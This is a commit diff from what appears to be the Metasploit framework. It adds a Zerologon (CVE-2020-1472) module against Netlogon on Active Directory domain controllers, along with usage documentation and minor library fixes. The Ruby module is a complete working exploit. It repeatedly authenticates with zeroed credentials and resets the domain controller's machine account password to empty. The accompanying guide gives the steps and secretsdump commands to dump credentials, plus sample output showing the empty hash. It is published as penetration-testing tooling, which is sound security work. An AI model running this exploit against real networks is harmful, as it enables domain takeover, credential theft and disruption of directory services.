Land #14151, Zerologon (CVE-2020-1472) module

This commit is contained in:
William Vu 2020-09-22 14:02:23 -05:00
commit f74eba731e
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
5 changed files with 262 additions and 4 deletions

View File

@ -385,7 +385,7 @@ GEM
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.2)
ruby_smb (2.0.4)
ruby_smb (2.0.5)
bindata
openssl-ccm
openssl-cmac

View File

@ -0,0 +1,62 @@
## Vulnerable Application
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES are lost
due to an implementation flaw related to the use of a static initialization vector (IV). An attacker can leverage this
flaw to target an Active Directory Domain Controller and make repeated authentication attempts using NULL data fields
which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability to reset the machine account
password to an empty value, which will then allow the attacker to authenticate as the machine account. After
exploitation, it's important to restore this password to it's original value. Failure to do so can result in service
instability.
Before using this module and changing the Domain Controller's machine account password, it is **highly** recommended to
have [impacket](https://github.com/SecureAuthCorp/impacket) available to recover the original value for restoration. The
version of impacket must have been updated on or since September 15th, 2020 to incorporate the changes introduced in
commit [`78e8c8e4`](https://github.com/SecureAuthCorp/impacket/commit/78e8c8e41b3f163f1271a01ce3f2bf3bb880f687) which
altered the behavior of the `example/secretsdump.py` utility to display the plaintext value of the machine account
password. Users can use this value along with the `RESTORE` action provided by this module to restore the machine
account password to it's original value.
## Verification Steps
1. Exploit the vulnerability to set the machine account password to a blank value
1. From msfconsole
1. Do: `use auxiliary/admin/dcerpc/cve_2020_1472_zerologon`
1. Set the `RHOSTS` and `NBNAME` values
1. Run the module and see that the password was set to a blank value
1. Recover the original machine account password using impacket and secretsdump
1. Run `examples/secretsdump.py -no-pass NBNAME$@RHOST`
* **Note:** The machine name (`NBNAME` from the module) must end with the dollar sign character (`$`)
1. Search for the password in the output (`NBNAME$:plain_password_hex:`)
1. Restore the original machine account password
1. From msfconsole
1. Do: `use auxiliary/admin/dcerpc/cve_2020_1472_zerologon`
1. Set the action to `RESTORE`
1. Set the `RHOSTS`, `NBNAME` and `PASSWORD` values
1. Run the module and see that the original value was restored
## Options
### NBNAME
The NetBIOS name of the target domain controller. You can use the `auxiliary/scanner/netbios/nbname` module to obtain
this value. If this value is invalid the module will fail when making a Netlogon RPC request.
### PASSWORD
The hex value of the original machine account password. This value is typically recovered from the target system's
registry (using a tool like secretsdump) after successfully setting the value to blank within Active Directory using
this module and the default `REMOVE` action.
This value is only used when running the module with the `RESTORE` action.
## Scenarios
### Windows Server 2019
```
[*] 192.168.159.10:0 - Connecting to the endpoint mapper service...
[*] 192.168.159.10:49667 - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.10[49667] ...
[*] 192.168.159.10:49667 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.10[49667] ...
[+] 192.168.159.10:49667 - Successfully authenticated
[+] 192.168.159.10:49667 - Successfully set the machine account (WIN-3MSP8K2LCGC$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
[*] Auxiliary module execution completed
```

View File

@ -13,6 +13,7 @@ module Exploit::Remote::DCERPC_EPM
res = dcerpc_endpoint_list()
return nil if not res
uuid.downcase!
res.each do |ent|
if (ent[:uuid] == uuid and ent[:vers] == vers and ent[:prot] == 'tcp')
return ent[:port]
@ -43,7 +44,8 @@ module Exploit::Remote::DCERPC_EPM
print_status("Connecting to the endpoint mapper service...")
begin
eps = nil
dport = datastore['RPORT'] || 135
dport = datastore['RPORT']
dport = 135 if (dport.nil? || dport == 0)
begin
eps = Rex::Socket::Tcp.create(

View File

@ -10,8 +10,7 @@ module Msf
class OptString < OptBase
# This adds a length parameter to check for the maximum length of strings.
def initialize(in_name, attrs = [],
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [], max_length: nil)
def initialize(in_name, attrs = [], **kwargs)
super
end

View File

@ -0,0 +1,195 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Report
CheckCode = Exploit::CheckCode
Netlogon = RubySMB::Dcerpc::Netlogon
EMPTY_SHARED_SECRET = OpenSSL::Digest::MD4.digest('')
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netlogon Weak Cryptographic Authentication',
'Description' => %q{
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability
to reset the machine account password to an empty value, which will then allow the attacker to authenticate as
the machine account. After exploitation, it's important to restore this password to it's original value. Failure
to do so can result in service instability.
},
'Author' => [
'Tom Tervoort', # original vulnerability details
'Spencer McIntyre', # metasploit module
'Dirk-jan Mollema' # password restoration technique
],
'Notes' => {
'AKA' => [ 'Zerologon' ]
},
'License' => MSF_LICENSE,
'Actions' => [
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]
],
'DefaultAction' => 'REMOVE',
'References' => [
[ 'CVE', '2020-1472' ],
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]
]
)
)
register_options(
[
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),
]
)
end
def peer
"#{rhost}:#{@dport || datastore['RPORT']}"
end
def bind_to_netlogon_service
@dport = datastore['RPORT']
if @dport.nil? || @dport == 0
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
end
# Bind to the service
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
end
def check
bind_to_netlogon_service
status = nil
2000.times do
netr_server_req_challenge
response = netr_server_authenticate3
break if (status = response.error_status) == 0
end
return CheckCode::Detected unless status == 0
CheckCode::Vulnerable
end
def run
case action.name
when 'REMOVE'
action_remove_password
when 'RESTORE'
action_restore_password
end
end
def action_remove_password
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable
print_good('Successfully authenticated')
report_vuln(
host: rhost,
port: @dport,
name: name,
sname: 'dcerpc',
proto: 'tcp',
refs: references,
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"
)
response = netr_server_password_set2
status = response.error_status.to_i
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")
end
def action_restore_password
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']
password = [datastore['PASSWORD']].pack('H*')
bind_to_netlogon_service
client_challenge = OpenSSL::Random.random_bytes(8)
response = netr_server_req_challenge(client_challenge: client_challenge)
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)
ppp = Netlogon.encrypt_credential(session_key, client_challenge)
response = netr_server_authenticate3(client_credential: ppp)
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')
response = netr_server_password_set2(
authenticator: Netlogon::NetlogonAuthenticator.new(
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),
timestamp: 10
),
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)
)
status = response.error_status.to_i
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")
end
def netr_server_authenticate3(client_credential: "\x00" * 8)
nrpc_call('NetrServerAuthenticate3',
primary_name: "\\\\#{datastore['NBNAME']}",
account_name: "#{datastore['NBNAME']}$",
secure_channel_type: :ServerSecureChannel,
computer_name: datastore['NBNAME'],
client_credential: client_credential,
flags: 0x212fffff)
end
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)
nrpc_call('NetrServerPasswordSet2',
primary_name: "\\\\#{datastore['NBNAME']}",
account_name: "#{datastore['NBNAME']}$",
secure_channel_type: :ServerSecureChannel,
computer_name: datastore['NBNAME'],
authenticator: authenticator,
clear_new_password: clear_new_password)
end
def netr_server_req_challenge(client_challenge: "\x00" * 8)
nrpc_call('NetrServerReqChallenge',
primary_name: "\\\\#{datastore['NBNAME']}",
computer_name: datastore['NBNAME'],
client_challenge: client_challenge)
end
def nrpc_call(name, **kwargs)
request = Netlogon.const_get("#{name}Request").new(**kwargs)
begin
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
rescue Rex::Proto::DCERPC::Exceptions::Fault
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")
end
Netlogon.const_get("#{name}Response").read(raw_response)
end
end